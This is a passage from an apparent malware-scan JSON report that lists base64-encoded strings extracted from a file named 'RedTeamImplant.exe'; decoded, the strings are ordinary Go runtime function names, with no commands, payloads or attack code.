Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGRjYWxsNg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGRjYWxsNw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGRjYWxsOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGRjYWxsX25vX2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGVhbFdvcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGtidWNrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdGtvYmppbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wbG9ja2VkbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wVGhlV29ybGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wVGhlV29ybGQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wVGhlV29ybGRHQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdG9wVGhlV29ybGRXaXRoU2VtYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHJlcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHJoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHJoYXNoRmFsbGJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHJpbmdEYXRhT25TdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHJpbmd0b3NsaWNlYnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHdSZWFzb24uaXNHQw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdHdSZWFzb24uU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdWJ0cmFjdDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdWJ0cmFjdGI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdXNwZW5kRw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zdXNwZW5kRy5vc3lpZWxkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zd2VlcENsYXNzLnNwbGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zd2VlcG9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zd2VlcG9uZS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeW5jYWRqdXN0c3Vkb2dz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNBbGxvY09T","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNjYWxsX3N5c2NhbGxu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNGYXVsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNGYXVsdE9T","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNGcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNGcmVlT1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNIdWdlUGFnZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNNYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNtb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNtb24udXNsZWVwLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNtb25VcGRhdGVHT01BWFBST0NT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNSZXNlcnZl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNSZXNlcnZlQWxpZ25lZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNSZXNlcnZlT1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXN0ZW1zdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXN0ZW1zdGFja19zd2l0Y2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNVbnVzZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNVbnVzZWRPUw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNVc2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5zeXNVc2VkT1M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50YWdnZWRQb2ludGVyLnBvaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50YWdnZWRQb2ludGVyLnRhZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50YWdnZWRQb2ludGVyUGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50ZW1wbGF0ZVRocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50ZXN0QXRvbWljNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aHJvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aHJvdy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aWNrc1BlclNlY29uZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aW1lZGl2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aW1lSGlzdG9ncmFtTWV0cmljc0J1Y2tldHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aW1lcmNoYW5kcmFpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aW1lcldoZW4ubGVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50aW1lU2xlZXBVbnRpbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50b3RhbE11dGV4V2FpdFRpbWVOYW5vcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFjcXVpcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFjcXVpcmVFbmFibGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZm9yRWFjaFAuZnVuYzc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzEuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzMub3N5aWVsZC4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFkdmFuY2UuZnVuYzY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUFsbG9jRnJlZUVuYWJsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2sx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2sxLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2sy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2syLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tIZXhkdW1w","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tIZXhkdW1wLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tvdGhlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tQQ3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tzb21lb3RoZXJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2tzb21lb3RoZXJzLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWJhY2t0cmFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUJ1ZkZsdXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUNsb2NrTm93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUNvbXByZXNzU3RhY2tTaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUNQVUZsdXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUNQVUZsdXNoLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUVuYWJsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUV2ZW50V3JpdGVyLmV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUV4aXRlZFN5c2NhbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUV4aXRpbmdTeXNjYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZWZwdW53aW5kb2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUdvcm91dGluZVN0YWNrSUQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUhlYXBPYmplY3RJRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5lbWl0VW5ibG9ja1N0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5ldmVudFdyaXRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ0FjdGl2ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ0RvbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ01hcmtBc3Npc3REb25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ01hcmtBc3Npc3RTdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ1N0YXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ1N3ZWVwRG9uZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ1N3ZWVwU3Bhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5HQ1N3ZWVwU3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb0NyZWF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb0NyZWF0ZVN5c2NhbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb0Rlc3Ryb3lTeXNjYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb0VuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb21heHByb2Nz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1Bhcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1ByZWVtcHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb3JvdXRpbmVTdGFja0FsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb3JvdXRpbmVTdGFja0ZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1NjaGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1N0YXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1N0b3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1N5c0NhbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1N5c0V4aXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Hb1VucGFyaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5IZWFwQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5IZWFwR29hbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5IZWFwT2JqZWN0QWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5IZWFwT2JqZWN0RnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5vaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Qcm9jU3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Qcm9jU3RlYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5Qcm9jU3RvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5ydHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5TcGFuQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5TcGFuRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5zdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5zdGFydFBD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5zdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5TVFdEb25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci5TVFdTdGFydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tlci53cml0ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZUxvY2tJbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZU5leHRHZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVJlYWRDUFU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVJlYWRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVJlYWRlckF2YWlsYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVJlZ2lzdGVyTGFiZWxzQW5kUmVhc29ucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVJlbGVhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVNodXR0aW5nRG93bg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVNwYW5JRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVNwYW5UeXBlQW5kQ2xhc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS50cmFjZVN0b3BSZWFkQ1BV","type":"Ansi","source":"Memory/File 